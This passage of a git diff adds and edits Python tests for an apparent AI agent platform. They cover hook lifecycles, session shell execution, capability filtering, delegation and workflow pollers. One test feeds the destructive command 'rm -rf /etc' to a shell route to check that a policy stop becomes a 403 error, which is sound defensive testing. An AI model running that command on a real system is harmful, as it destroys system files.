args=input_data.args or [], + cwd=input_data.cwd or "", + status=PtyStatus.RUNNING, + pid=123, + ) + create = AsyncMock(return_value=created) + monkeypatch.setattr(Pty, "_create", create) + + assert (await Pty.create(input_data)).id == "pty_created" + + assert [stage for stage, _ in observed] == ["action.before", "action.after"] + before = observed[0][1] + after = observed[1][1] + assert before["action"] == "pty.open" + assert before["resource"] == {"type": "pty"} + assert before["action_input"] == input_data.model_dump() + assert "tool" not in before + assert after["action"] == "pty.open" + assert after["resource"] == {"type": "pty"} + assert after["action_input"] == input_data.model_dump() + assert after["outcome"] == "success" + create.assert_awaited_once_with(input_data) + + +@pytest.mark.asyncio +async def test_public_pty_write_uses_neutral_action_lifecycle_payload( + monkeypatch: pytest.MonkeyPatch, +) -> None: + observed: list[tuple[str, dict]] = [] + + class _Recorder(HookBase): + async def action_before(self, ctx) -> None: + observed.append((ctx.stage, dict(ctx.input))) + + async def action_after(self, ctx) -> None: + observed.append((ctx.stage, dict(ctx.input))) + + HookPipeline.register("pty-lifecycle-recorder", _Recorder()) + write = Mock() + monkeypatch.setattr(Pty, "_write", write) + + await Pty.write("pty_123", "first raw input") + + assert [stage for stage, _ in observed] == ["action.before", "action.after"] + before = observed[0][1] + after = observed[1][1] + assert before["action"] == "pty.input" + assert before["resource"] == {"type": "pty", "id": "pty_123"} + assert before["action_input"] == {"data": "first raw input"} + assert "tool" not in before + assert after["action"] == "pty.input" + assert after["resource"] == {"type": "pty", "id": "pty_123"} + assert after["action_input"] == {"data": "first raw input"} + assert after["outcome"] == "success" + write.assert_called_once_with("pty_123", "first raw input") + + +@pytest.mark.asyncio +async def test_pty_websocket_keeps_authenticated_context_for_full_connection( + monkeypatch: pytest.MonkeyPatch, +) -> None: + observed: list[tuple[str | None, dict]] = [] + + class _InputWebSocket(_FakeWebSocket): + def __init__(self) -> None: + super().__init__() + self._messages = iter(["raw terminal input"]) + + async def receive_text(self) -> str: + try: + return next(self._messages) + except StopIteration as exc: + from fastapi import WebSocketDisconnect + + raise WebSocketDisconnect() from exc + + async def _authenticate(websocket: _FakeWebSocket): + websocket.state.subject = Subject( + subject_id="websocket-user", + subject_type="human", + ) + websocket.state.extension_context = {"opaque_transfer": "verified"} + return False, object(), None + + async def _on_message(_data: str) -> None: + subject = get_current_subject() + observed.append( + ( + subject.subject_id if subject is not None else None, + current_execution_context(), + ) + ) + + websocket = _InputWebSocket() + monkeypatch.setattr(pty_routes, "apply_auth_for_request", _authenticate) + monkeypatch.setattr(pty_routes, "clear_auth_context", Mock()) + monkeypatch.setattr(pty_routes.Pty, "get", Mock(return_value=object())) + monkeypatch.setattr( + pty_routes.Pty, + "connect", + AsyncMock(return_value={"onMessage": _on_message, "onClose": lambda: None}), + ) + + await pty_routes.connect_session(websocket, "pty_123") + + assert observed == [("websocket-user", {"opaque_transfer": "verified"})] diff --git a/tests/server/routes/test_remaining_routes.py b/tests/server/routes/test_remaining_routes.py index 173c4afdf..6cc5069a5 100644 --- a/tests/server/routes/test_remaining_routes.py +++ b/tests/server/routes/test_remaining_routes.py @@ -488,6 +488,25 @@ async def test_set_credential_unknown_provider_returns_error( # =========================================================================== class TestConfigRoutes: + def test_config_operation_payload_marks_control_plane_metadata(self): + """Config mutations must carry control-plane policy metadata.""" + from flocks.server.routes.config import _config_operation_payload + + async def sample_endpoint(config_data: dict): + return config_data + + payload = _config_operation_payload( + sample_endpoint, + args=({"theme": "dark"},), + kwargs={}, + ) + + assert payload["operation"] == "config.sample_endpoint" + assert payload["entry"] == "http_control_plane" + assert payload["execution_domain"] == "control_plane" + assert payload["action"] == "config.sample_endpoint" + assert payload["resource"] == {"type": "config", "id": "sample_endpoint"} + @pytest.mark.asyncio async def test_get_config_returns_object(self, client: AsyncClient): @@ -497,6 +516,53 @@ async def test_get_config_returns_object(self, client: AsyncClient): data = resp.json() assert isinstance(data, dict) + @pytest.mark.asyncio + async def test_update_config_invalidates_channel_config_cache( + self, + client: AsyncClient, + monkeypatch: pytest.MonkeyPatch, + ): + """PATCH /api/config must invalidate in-memory channel config cache.""" + from flocks.server.routes import config as config_routes + + invalidate_calls: list[str | None] = [] + + monkeypatch.setattr( + config_routes.Config, + "update", + AsyncMock(return_value=None), + ) + monkeypatch.setattr( + config_routes.Config, + "clear_cache", + lambda: None, + ) + + def _invalidate(channel_id: str | None = None) -> None: + invalidate_calls.append(channel_id) + + monkeypatch.setattr( + "flocks.channel.inbound.dispatcher.invalidate_channel_config_cache", + _invalidate, + ) + monkeypatch.setattr( + config_routes, + "get_config", + AsyncMock(return_value={}), + ) + + resp = await client.patch( + "/api/config/", + json={ + "channels": { + "weixin": {"enabled": True}, + "feishu": {"enabled": False}, + } + }, + ) + assert resp.status_code == status.HTTP_200_OK, resp.text + assert invalidate_calls == ["weixin", "feishu"] + @pytest.mark.asyncio async def test_config_has_expected_top_level_keys(self, client: AsyncClient): """Config response contains expected top-level keys.""" diff --git a/tests/server/routes/test_session_routes.py b/tests/server/routes/test_session_routes.py index 4c9766552..36615454b 100644 --- a/tests/server/routes/test_session_routes.py +++ b/tests/server/routes/test_session_routes.py @@ -20,6 +20,12 @@ from fastapi import HTTPException, status from httpx import AsyncClient from flocks.auth.context import API_TOKEN_SERVICE_USER_ID, AuthUser +from flocks.hooks.execution import ( + ExecutionStopped, + current_execution_context, + execution_context_scope, +) +from flocks.server.routes import session as session_routes from flocks.session.core.status import SessionStatus, SessionStatusBusy from flocks.session.message import ( Message, @@ -78,6 +84,58 @@ async def test_missing_session_directory_uses_cwd_and_publishes_notice( }, ) + +@pytest.mark.asyncio +async def test_shell_route_maps_extension_stop_to_forbidden( + monkeypatch: pytest.MonkeyPatch, +) -> None: + """A Pro policy stop must not surface as an unhandled server error.""" + + monkeypatch.setattr(session_routes, "require_user", lambda _request: object()) + monkeypatch.setattr( + session_routes, + "_get_session_by_id_unfiltered", + AsyncMock(return_value=object()), + ) + monkeypatch.setattr( + session_routes, + "_require_session_write_access", + lambda _session, _user: None, + ) + monkeypatch.setattr( + "flocks.session.runner.SessionRunner.shell", + AsyncMock(side_effect=ExecutionStopped("hard_deny_system_delete")), + ) + + with pytest.raises(HTTPException) as error: + await session_routes.run_shell_command( + "ses_1", + session_routes.ShellRequest(agent="build", command="rm -rf /etc"), + SimpleNamespace(), + ) + + assert error.value.status_code == status.HTTP_403_FORBIDDEN + assert error.value.detail == "execution stopped by extension" + + +@pytest.mark.asyncio +async def test_background_session_task_preserves_execution_context() -> None: + """Async session work retains opaque ingress context after scheduling.""" + observed: list[dict[str, object]] = [] + + async def _record_context() -> None: + observed.append(current_execution_context()) + + before = set(getattr(session_routes.router, "_pending_tasks", set())) + with execution_context_scope({"workflow_transfer": "opaque-transfer"}): + session_routes._schedule_background_coro(_record_context()) + + pending = list(getattr(session_routes.router, "_pending_tasks", set()) - before) + assert len(pending) == 1 + await asyncio.gather(*pending) + + assert observed == [{"workflow_transfer": "opaque-transfer"}] + class TestSessionCRUD: """Basic create / read / update / delete for sessions.""" @@ -90,6 +148,11 @@ async def test_create_session_minimal(self, client: AsyncClient): assert data["id"].startswith("ses_") assert "projectID" in data assert "directory" in data + from flocks.session.execution_profile import get_session_execution_profile + + profile = await get_session_execution_profile(data["id"]) + assert profile is not None + assert profile["permission_mode"] == "require-confirm" @pytest.mark.asyncio async def test_create_ordinary_session_uses_process_cwd( diff --git a/tests/server/routes/test_workflow_run_route.py b/tests/server/routes/test_workflow_run_route.py index b3654ddd9..588fe227b 100644 --- a/tests/server/routes/test_workflow_run_route.py +++ b/tests/server/routes/test_workflow_run_route.py @@ -273,6 +273,31 @@ async def test_run_workflow_execution_task_reuses_existing_mcp_without_reinit( record_result.assert_awaited_once() +@pytest.mark.asyncio +async def test_workflow_tool_context_preserves_current_opaque_extension_context( + monkeypatch: pytest.MonkeyPatch, +) -> None: + observed: dict[str, object] = {} + + async def build_context(**kwargs): + observed.update(kwargs) + return ToolContext(session_id="session-1", message_id="message-1", agent="rex") + + monkeypatch.setattr(workflow_module, "build_workflow_tool_context", build_context) + monkeypatch.setattr( + workflow_module, + "current_execution_context", + lambda: {"workflow_transfer": "opaque-pro-token"}, + ) + + await workflow_module._build_workflow_tool_context( + workflow_id="wf-1", + action_name="run", + ) + + assert observed["execution_context"] == {"workflow_transfer": "opaque-pro-token"} + + @pytest.mark.asyncio async def test_save_kafka_config_persists_consumer_settings( monkeypatch: pytest.MonkeyPatch, diff --git a/tests/server/test_auth_compat.py b/tests/server/test_auth_compat.py index b92191bc9..8df58b601 100644 --- a/tests/server/test_auth_compat.py +++ b/tests/server/test_auth_compat.py @@ -2,7 +2,7 @@ from fastapi import HTTPException import pytest -from flocks.auth.context import AuthUser +from flocks.auth.context import AuthUser, get_current_auth_user from flocks.server import auth as auth_module @@ -162,6 +162,7 @@ async def _get_user_by_session_id(_session_id: str): assert exc_info.value.status_code == 403 assert "必须先修改密码" in str(exc_info.value.detail) + assert get_current_auth_user() is None @pytest.mark.asyncio diff --git a/tests/session/test_capability_projection_hook.py b/tests/session/test_capability_projection_hook.py new file mode 100644 index 000000000..b5ea345d4 --- /dev/null +++ b/tests/session/test_capability_projection_hook.py @@ -0,0 +1,138 @@ +from __future__ import annotations + +from unittest.mock import AsyncMock + +import pytest + +from flocks.hooks.pipeline import HookBase, HookPipeline +from flocks.identity import Subject, reset_current_subject, set_current_subject +from flocks.session.callable_schema import list_session_callable_tool_infos +from flocks.tool.registry import ToolCategory, ToolInfo + + +def _tool(name: str) -> ToolInfo: + return ToolInfo( + name=name, + description=f"{name} description", + category=ToolCategory.CUSTOM, + enabled=True, + ) + + +@pytest.fixture(autouse=True) +def reset_pipeline() -> None: + HookPipeline.reset() + HookPipeline._initialized = True + yield + HookPipeline.reset() + + +@pytest.mark.asyncio +async def test_capability_projection_preserves_candidates_without_replacement( + monkeypatch: pytest.MonkeyPatch, +) -> None: + candidates = [_tool("read"), _tool("write")] + monkeypatch.setattr( + "flocks.session.callable_schema.get_session_callable_tools", + AsyncMock(return_value={"read", "write"}), + ) + monkeypatch.setattr( + "flocks.session.callable_schema.get_always_load_tool_names", + lambda: set(), + ) + monkeypatch.setattr( + "flocks.session.callable_schema._resolve_dynamic_always_load_tool_names", + AsyncMock(return_value=set()), + ) + monkeypatch.setattr( + "flocks.session.callable_schema.resolve_callable_tool_infos", + lambda _names: (candidates, len(candidates)), + ) + + result = await list_session_callable_tool_infos("session-1") + + assert result.tool_infos == candidates + assert result.tool_infos[0] is candidates[0] + + +@pytest.mark.asyncio +async def test_capability_projection_accepts_opaque_candidate_replacement( + monkeypatch: pytest.MonkeyPatch, +) -> None: + class Projection(HookBase): + async def capability_filter(self, _ctx): + return {"candidates": [{"name": "write"}]} + + candidates = [_tool("read"), _tool("write")] + HookPipeline.register("projection", Projection()) + monkeypatch.setattr( + "flocks.session.callable_schema.get_session_callable_tools", + AsyncMock(return_value={"read", "write"}), + ) + monkeypatch.setattr( + "flocks.session.callable_schema.get_always_load_tool_names", + lambda: set(), + ) + monkeypatch.setattr( + "flocks.session.callable_schema._resolve_dynamic_always_load_tool_names", + AsyncMock(return_value=set()), + ) + monkeypatch.setattr( + "flocks.session.callable_schema.resolve_callable_tool_infos", + lambda _names: (candidates, len(candidates)), + ) + + result = await list_session_callable_tool_infos("session-1") + + assert [tool.name for tool in result.tool_infos] == ["write"] + + +@pytest.mark.asyncio +async def test_capability_projection_forwards_opaque_subject_context( + monkeypatch: pytest.MonkeyPatch, +) -> None: + """The OSS projection is a carrier: it must not interpret identity fields.""" + + observed = {} + + class CaptureProjection(HookBase): + async def capability_filter(self, ctx): + observed.update(ctx.input) + + candidates = [_tool("read"), _tool("bash")] + HookPipeline.register("projection.capture", CaptureProjection()) + monkeypatch.setattr( + "flocks.session.callable_schema.get_session_callable_tools", + AsyncMock(return_value={"read", "bash"}), + ) + monkeypatch.setattr( + "flocks.session.callable_schema.get_always_load_tool_names", + lambda: set(), + ) + monkeypatch.setattr( + "flocks.session.callable_schema._resolve_dynamic_always_load_tool_names", + AsyncMock(return_value=set()), + ) + monkeypatch.setattr( + "flocks.session.callable_schema.resolve_callable_tool_infos", + lambda _names: (candidates, len(candidates)), + ) + subject = Subject( + subject_id="user-1", + subject_type="human", + attributes={ + "entry": "webui", + "permission_mode": "readonly", + "role": "operator", + "department": "platform", + "tenant_id": "tenant-a", + }, + ) + token = set_current_subject(subject) + try: + await list_session_callable_tool_infos("session-1", agent="build") + finally: + reset_current_subject(token) + + assert observed["subject"] == subject.model_dump() + assert observed["agent"] == "build" diff --git a/tests/session/test_runner_shell_hook.py b/tests/session/test_runner_shell_hook.py new file mode 100644 index 000000000..fa7961380 --- /dev/null +++ b/tests/session/test_runner_shell_hook.py @@ -0,0 +1,83 @@ +from __future__ import annotations + +import asyncio +from types import SimpleNamespace +from unittest.mock import AsyncMock + +import pytest + +from flocks.hooks.pipeline import HookBase, HookPipeline +from flocks.session.runner import SessionRunner + + +@pytest.fixture(autouse=True) +def reset_pipeline() -> None: + HookPipeline.reset() + HookPipeline._initialized = True + yield + HookPipeline.reset() + + +@pytest.mark.asyncio +async def test_session_shell_runs_through_neutral_action_lifecycle( + monkeypatch: pytest.MonkeyPatch, + tmp_path, +) -> None: + """Direct shell execution exposes facts to extensions without OSS policy.""" + + observed: list[dict] = [] + + class CaptureAction(HookBase): + async def action_before(self, ctx): + observed.append(ctx.input) + + process = SimpleNamespace( + communicate=AsyncMock(return_value=(b"ok\n", b"")), + returncode=0, + ) + create_process = AsyncMock(return_value=process) + monkeypatch.setattr( + "flocks.session.runner.Session.get_by_id", + AsyncMock(return_value=SimpleNamespace(directory=str(tmp_path))), + ) + monkeypatch.setattr( + "flocks.session.runner.Message.create", + AsyncMock( + side_effect=[ + SimpleNamespace(id="msg_user"), + SimpleNamespace(id="msg_assistant"), + ] + ), + ) + monkeypatch.setattr( + "flocks.session.runner.asyncio.create_subprocess_shell", + create_process, + ) + HookPipeline.register("capture.action", CaptureAction()) + + result = await SessionRunner.shell( + session_id="ses_1", + agent="build", + command="echo ok", + ) + + assert observed == [ + { + "operation": "session.shell", + "session_id": "ses_1", + "agent": "build", + "execution_domain": "execution_runtime", + "resource": {"type": "command", "id": "session.shell"}, + "tool": { + "name": "shell", + "input": {"command": "echo ok", "workdir": str(tmp_path)}, + }, + } + ] + create_process.assert_awaited_once_with( + "echo ok", + stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.PIPE, + cwd=str(tmp_path), + ) + assert result["parts"][0]["state"]["output"] == "ok\n" diff --git a/tests/test_pro_boundary.py b/tests/test_pro_boundary.py new file mode 100644 index 000000000..a852cb39a --- /dev/null +++ b/tests/test_pro_boundary.py @@ -0,0 +1,50 @@ +"""Executable guardrails for the OSS side of the B1--B4 extension boundary.""" + +from __future__ import annotations + +import ast +from pathlib import Path + + +_REMOVED_SECURITY_MODULES = frozenset( + { + "flocks.security.action_gateway", + "flocks.security.canonical", + "flocks.security.capability_pool", + "flocks.security.delegation_context", + "flocks.security.execution_context", + } +) + + +def _imports_in(module_path: Path) -> set[str]: + tree = ast.parse(module_path.read_text(encoding="utf-8"), filename=str(module_path)) + imports: set[str] = set() + for node in ast.walk(tree): + if isinstance(node, ast.Import): + imports.update(alias.name for alias in node.names) + elif isinstance(node, ast.ImportFrom) and node.module: + imports.add(node.module) + if node.module == "flocks.security": + imports.update(f"{node.module}.{alias.name}" for alias in node.names) + return imports + + +def test_oss_runtime_source_has_no_pro_or_removed_security_dependencies() -> None: + """OSS keeps neutral hook mechanics and never imports B1--B4 policy owners.""" + source_root = Path(__file__).parents[1] / "flocks" + imports = { + imported + for module_path in source_root.rglob("*.py") + for imported in _imports_in(module_path) + } + + # Legacy optional audit/licence bridges may import FlocksPro, but policy + # ownership itself must remain outside OSS. The generic hooks are the + # only B1--B4 integration surface here. + assert not { + item + for item in imports + if item == "flockspro.policy" or item.startswith("flockspro.policy.") + } + assert not imports.intersection(_REMOVED_SECURITY_MODULES) diff --git a/tests/tool/test_child_session_hook.py b/tests/tool/test_child_session_hook.py new file mode 100644 index 000000000..24da7532a --- /dev/null +++ b/tests/tool/test_child_session_hook.py @@ -0,0 +1,68 @@ +from __future__ import annotations + +from types import SimpleNamespace +from unittest.mock import AsyncMock, patch + +import pytest + +from flocks.hooks.pipeline import HookBase, HookPipeline +from flocks.tool.agent.delegate_task import delegate_task_tool +from flocks.tool.registry import ToolContext, ToolResult + + +@pytest.fixture(autouse=True) +def reset_pipeline() -> None: + HookPipeline.reset() + HookPipeline._initialized = True + yield + HookPipeline.reset() + + +@pytest.mark.asyncio +async def test_delegation_emits_child_lifecycle_with_parent_and_child_ids() -> None: + observed: list[tuple[str, dict]] = [] + + class ChildLifecycle(HookBase): + async def session_child_before(self, ctx): + observed.append((ctx.stage, dict(ctx.input))) + + async def session_child_after(self, ctx): + observed.append((ctx.stage, dict(ctx.input))) + + HookPipeline.register("child-lifecycle", ChildLifecycle()) + parent = SimpleNamespace(id="parent-1", project_id="project-1", directory="/tmp/project") + child = SimpleNamespace(id="child-1") + forwarder = SimpleNamespace( + final_metadata={}, + build_callbacks=lambda **_kwargs: SimpleNamespace(), + ) + context = ToolContext(session_id="parent-1", message_id="message-1", agent="rex") + + with ( + patch("flocks.tool.agent.delegate_task._find_completed_delegate", AsyncMock(return_value=None)), + patch("flocks.tool.agent.delegate_task.Config.get", AsyncMock(return_value=SimpleNamespace(categories=None))), + patch("flocks.tool.agent.delegate_task.is_delegatable", return_value=True), + patch("flocks.tool.agent.delegate_task.Session.get_by_id", AsyncMock(return_value=parent)), + patch("flocks.tool.agent.delegate_task.Session.create", AsyncMock(return_value=child)), + patch("flocks.tool.agent.delegate_task.Message.create", AsyncMock()), + patch("flocks.tool.agent.delegate_task.SessionLoop.run", AsyncMock(return_value=SimpleNamespace())), + patch("flocks.session.features.activity_forwarder.ActivityForwarder", return_value=forwarder), + patch( + "flocks.tool.agent.delegate_task.format_sync_subagent_result", + AsyncMock(return_value=ToolResult(success=True, output="complete")), + ), + ): + result = await delegate_task_tool( + context, + subagent_type="asset-survey", + prompt="Inspect the workspace", + ) + + assert result.success is True + assert [stage for stage, _payload in observed] == [ + "session.child.before", + "session.child.after", + ] + for _stage, payload in observed: + assert payload["parent_session_id"] == "parent-1" + assert payload["child_session_id"] == "child-1" diff --git a/tests/tool/test_tool_search_discovery.py b/tests/tool/test_tool_search_discovery.py index 7fb2b5fc6..8804ffa70 100644 --- a/tests/tool/test_tool_search_discovery.py +++ b/tests/tool/test_tool_search_discovery.py @@ -26,11 +26,9 @@ async def test_tool_search_adds_matches_to_session_callable_tools_and_emits_even _tool("read", ToolCategory.FILE), _tool("plugin_only", ToolCategory.CUSTOM, native=False), ] - add_callable = AsyncMock(return_value={"websearch"}) event_callback = AsyncMock() monkeypatch.setattr("flocks.tool.system.tool_search.ToolRegistry.list_tools", lambda: tools) - monkeypatch.setattr("flocks.tool.system.tool_search.add_session_callable_tools", add_callable) ctx = SimpleNamespace(session_id="session-3", event_publish_callback=event_callback) result = await tool_search(ctx, query="web", limit=5) @@ -39,7 +37,6 @@ async def test_tool_search_adds_matches_to_session_callable_tools_and_emits_even assert result.output["callableToolNames"] == ["websearch"] assert result.output["callableToolCount"] == 1 assert result.output["matches"][0]["name"] == "websearch" - add_callable.assert_awaited_once_with("session-3", ["websearch"]) event_callback.assert_awaited() @@ -67,11 +64,6 @@ async def test_tool_search_supports_category_and_tag_matching( ] monkeypatch.setattr("flocks.tool.system.tool_search.ToolRegistry.list_tools", lambda: tools) - monkeypatch.setattr( - "flocks.tool.system.tool_search.add_session_callable_tools", - AsyncMock(return_value={"websearch"}), - ) - ctx = SimpleNamespace(session_id="session-4", event_publish_callback=AsyncMock()) result = await tool_search(ctx, query="research", category="browser", limit=5) @@ -91,10 +83,7 @@ async def test_tool_search_supports_exact_batch_select_and_aliases( _tool("webfetch", ToolCategory.BROWSER), _tool("read", ToolCategory.FILE), ] - add_callable = AsyncMock(return_value={"websearch", "webfetch"}) - monkeypatch.setattr("flocks.tool.system.tool_search.ToolRegistry.list_tools", lambda: tools) - monkeypatch.setattr("flocks.tool.system.tool_search.add_session_callable_tools", add_callable) ctx = SimpleNamespace(session_id="session-select", event_publish_callback=AsyncMock()) result = await tool_search(ctx, query="select:WebSearchTool,webfetch", limit=5) @@ -103,7 +92,6 @@ async def test_tool_search_supports_exact_batch_select_and_aliases( assert result.output["normalizedQuery"] == "websearch webfetch" assert result.output["callableToolNames"] == ["webfetch", "websearch"] assert [match["name"] for match in result.output["matches"]] == ["websearch", "webfetch"] - add_callable.assert_awaited_once_with("session-select", ["websearch", "webfetch"]) @pytest.mark.asyncio @@ -116,11 +104,6 @@ async def test_tool_search_returns_user_plugin_tools( ] monkeypatch.setattr("flocks.tool.system.tool_search.ToolRegistry.list_tools", lambda: tools) - monkeypatch.setattr( - "flocks.tool.system.tool_search.add_session_callable_tools", - AsyncMock(return_value=set()), - ) - ctx = SimpleNamespace(session_id="session-plugin", event_publish_callback=AsyncMock()) result = await tool_search(ctx, query="plugin_memory", limit=5) @@ -138,10 +121,7 @@ async def test_tool_search_adds_matching_tools_to_callable_set( _tool("read", ToolCategory.FILE), _tool("glob", ToolCategory.SEARCH), ] - add_callable = AsyncMock(return_value={"glob", "read"}) - monkeypatch.setattr("flocks.tool.system.tool_search.ToolRegistry.list_tools", lambda: tools) - monkeypatch.setattr("flocks.tool.system.tool_search.add_session_callable_tools", add_callable) ctx = SimpleNamespace(session_id="session-nondeferred", event_publish_callback=AsyncMock()) result = await tool_search(ctx, query="read", limit=5) @@ -150,7 +130,6 @@ async def test_tool_search_adds_matching_tools_to_callable_set( assert result.output["count"] == 1 assert result.output["matches"][0]["name"] == "read" assert result.output["callableToolNames"] == ["read"] - add_callable.assert_awaited_once_with("session-nondeferred", ["read"]) @pytest.mark.asyncio @@ -165,13 +144,10 @@ async def test_tool_search_does_not_return_disabled_tools( native=True, enabled=False, ) - add_callable = AsyncMock(return_value=set()) - monkeypatch.setattr( "flocks.tool.system.tool_search.ToolRegistry.list_tools", lambda: [enabled_tool, disabled_tool], ) - monkeypatch.setattr("flocks.tool.system.tool_search.add_session_callable_tools", add_callable) ctx = SimpleNamespace(session_id="session-disabled", event_publish_callback=AsyncMock()) result = await tool_search(ctx, query="disabled searchable", limit=5) @@ -180,7 +156,6 @@ async def test_tool_search_does_not_return_disabled_tools( assert result.output["count"] == 0 assert result.output["matches"] == [] assert result.output["callableToolNames"] == [] - add_callable.assert_awaited_once_with("session-disabled", []) @pytest.mark.asyncio @@ -199,10 +174,7 @@ async def test_tool_search_adds_device_candidate_metadata_without_affecting_call vendor="threatbook", ), ] - add_callable = AsyncMock(return_value={"tdp_event_list"}) - monkeypatch.setattr("flocks.tool.system.tool_search.ToolRegistry.list_tools", lambda: tools) - monkeypatch.setattr("flocks.tool.system.tool_search.add_session_callable_tools", add_callable) monkeypatch.setattr( "flocks.tool.device.store.list_groups", AsyncMock(return_value=[SimpleNamespace(id="g1", name="上海机房")]), @@ -239,7 +211,6 @@ async def test_tool_search_adds_device_candidate_metadata_without_affecting_call assert match["ambiguity"] == "multiple" assert match["requiresDeviceId"] is True assert [device["device_id"] for device in match["candidateDevices"]] == ["dev-1", "dev-2"] - add_callable.assert_awaited_once_with("session-device", ["tdp_event_list"]) def test_runtime_tool_events_are_recognized() -> None: diff --git a/tests/workflow/test_poller_manager.py b/tests/workflow/test_poller_manager.py index 37efd76e9..7da394808 100644 --- a/tests/workflow/test_poller_manager.py +++ b/tests/workflow/test_poller_manager.py @@ -4,76 +4,14 @@ import threading from types import SimpleNamespace from typing import Any -from unittest.mock import AsyncMock import pytest -from flocks.tool import ToolContext from flocks.workflow import poller_manager from flocks.workflow import execution_store from flocks.workflow.runner import RunWorkflowResult -@pytest.fixture(autouse=True) -def trigger_tool_context(monkeypatch: pytest.MonkeyPatch) -> SimpleNamespace: - context = ToolContext( - session_id="schedule-parent", - message_id="schedule-message", - agent="rex", - ) - builder = AsyncMock(return_value=context) - cleanup = AsyncMock() - monkeypatch.setattr(poller_manager, "build_workflow_tool_context", builder) - monkeypatch.setattr(poller_manager, "cleanup_workflow_tool_context", cleanup) - return SimpleNamespace(context=context, builder=builder, cleanup=cleanup) - - -@pytest.mark.asyncio -async def test_start_all_skips_stale_workflow_config_as_info( - monkeypatch: pytest.MonkeyPatch, -) -> None: - workflow_id = "removed-workflow" - config = {"enabled": True, "intervalSeconds": "not-a-number"} - info_events: list[tuple[str, dict]] = [] - warning_events: list[str] = [] - - async def _list_configs(*, kind: str): # noqa: ANN202 - assert kind == "workflow_poller_config" - return [(workflow_id, config)] - - async def _get_config(_workflow_id: str, *, kind: str) -> dict[str, Any]: - assert kind == "workflow_poller_config" - return config - - monkeypatch.setattr(poller_manager.WorkflowStore, "list_configs", _list_configs) - monkeypatch.setattr(poller_manager.WorkflowStore, "get_config", _get_config) - monkeypatch.setattr(poller_manager, "read_workflow_from_fs", lambda _workflow_id: None) - monkeypatch.setattr( - poller_manager.log, - "info", - lambda event, data=None: info_events.append((event, data)), - ) - monkeypatch.setattr( - poller_manager.log, - "warning", - lambda event, _data=None: warning_events.append(event), - ) - - manager = poller_manager.WorkflowPollerManager() - await manager.start_all() - - status = manager.get_status(workflow_id) - assert status["state"] == "stopped" - assert status["error"] == "workflow_not_found" - assert info_events == [ - ( - "poller.workflow_not_found_on_start", - {"workflow_id": workflow_id, "action": "stale_config_skipped"}, - ) - ] - assert warning_events == [] - - @pytest.mark.asyncio async def test_restart_disabled_config_reports_stopped(monkeypatch: pytest.MonkeyPatch) -> None: manager = poller_manager.WorkflowPollerManager() @@ -104,10 +42,7 @@ async def _fake_get_config(_workflow_id: str, *, kind: str) -> dict[str, Any]: @pytest.mark.asyncio -async def test_run_once_injects_dynamic_inputs_and_summary( - monkeypatch: pytest.MonkeyPatch, - trigger_tool_context: SimpleNamespace, -) -> None: +async def test_run_once_injects_dynamic_inputs_and_summary(monkeypatch: pytest.MonkeyPatch) -> None: manager = poller_manager.WorkflowPollerManager() captured_inputs: dict[str, Any] = {} @@ -128,8 +63,9 @@ def _fake_run_workflow( # noqa: ANN001 on_step_complete, run_id: str, execution_profile: str, - tool_context: ToolContext, + tool_context: Any = None, ): + _ = tool_context captured_inputs.update(inputs) assert workflow["start"] == "n1" assert workflow["nodes"][0]["id"] == "n1" @@ -137,7 +73,6 @@ def _fake_run_workflow( # noqa: ANN001 assert trace is False assert run_id == "exec-wf-run-once" assert execution_profile == "high_frequency" - assert tool_context is trigger_tool_context.context assert cancel() is False return RunWorkflowResult( status="success", @@ -197,11 +132,6 @@ def _fake_run_workflow( # noqa: ANN001 assert captured_inputs["input_date"] assert captured_inputs["_trigger"] == "poller" assert captured_inputs["_poller_run_id"].startswith("poller-") - trigger_tool_context.builder.assert_awaited_once_with( - workflow_id="wf-run-once", - action_name="trigger:schedule", - ) - trigger_tool_context.cleanup.assert_awaited_once_with(trigger_tool_context.context) @pytest.mark.asyncio @@ -265,8 +195,9 @@ def _fake_run_workflow( # noqa: ANN001 on_step_complete, run_id: str, execution_profile: str, - tool_context: ToolContext, + tool_context: Any = None, ): + _ = tool_context assert workflow["start"] == "n1" assert workflow["nodes"][0]["id"] == "n1" assert timeout_s == 9 @@ -357,9 +288,9 @@ def _fake_run_workflow( # noqa: ANN001 on_step_complete, run_id: str, execution_profile: str, - tool_context: ToolContext, + tool_context: Any = None, ): - _ = workflow, inputs, timeout_s, trace, cancel, run_id + _ = workflow, inputs, timeout_s, trace, cancel, run_id, tool_context _ = on_step_complete assert execution_profile == "high_frequency" # Keep the run active until the test releases it so a second tick skips. @@ -454,9 +385,9 @@ def _fake_run_workflow( # noqa: ANN001 on_step_complete, run_id: str, execution_profile: str, - tool_context: ToolContext, + tool_context: Any = None, ): - _ = workflow, inputs, timeout_s, trace, cancel, run_id + _ = workflow, inputs, timeout_s, trace, cancel, run_id, tool_context _ = on_step_complete assert execution_profile == "high_frequency" release_run.wait(0.2) @@ -486,42 +417,22 @@ def _fake_run_workflow( # noqa: ANN001 async def test_start_all_only_restarts_enabled_configs(monkeypatch: pytest.MonkeyPatch) -> None: manager = poller_manager.WorkflowPollerManager() restarted: list[str] = [] - warning_events: list[tuple[str, dict[str, str]]] = [] async def _fake_list_configs(*, kind: str) -> list[tuple[str, dict[str, Any]]]: return [ - ("wf-broken", {"enabled": True}), ("wf-enabled", {"enabled": True}), ("wf-disabled", {"enabled": False}), ] - async def _fake_restart( - workflow_id: str, - *, - startup: bool = False, - ) -> dict[str, Any]: - assert startup is True + async def _fake_restart(workflow_id: str) -> dict[str, Any]: restarted.append(workflow_id) - if workflow_id == "wf-broken": - raise ValueError("invalid config") return {"workflowId": workflow_id, "state": "running"} monkeypatch.setattr(poller_manager.WorkflowStore, "list_configs", _fake_list_configs) monkeypatch.setattr(manager, "restart_workflow", _fake_restart) - monkeypatch.setattr( - poller_manager.log, - "warning", - lambda event, data: warning_events.append((event, data)), - ) await manager.start_all() - assert restarted == ["wf-broken", "wf-enabled"] - assert warning_events == [ - ( - "poller.start_failed", - {"workflow_id": "wf-broken", "error": "invalid config"}, - ) - ] + assert restarted == ["wf-enabled"] @pytest.mark.asyncio diff --git a/tests/workflow/test_workflow_service_runtime.py b/tests/workflow/test_workflow_service_runtime.py index c63c93295..1d8fbc9d2 100644 --- a/tests/workflow/test_workflow_service_runtime.py +++ b/tests/workflow/test_workflow_service_runtime.py @@ -1,9 +1,11 @@ +import hashlib from types import SimpleNamespace from unittest.mock import AsyncMock, Mock from fastapi.testclient import TestClient import flocks.workflow.service_runtime as service_runtime +from flocks.hooks.pipeline import HookBase, HookPipeline from flocks.tool import ToolContext @@ -125,6 +127,58 @@ def 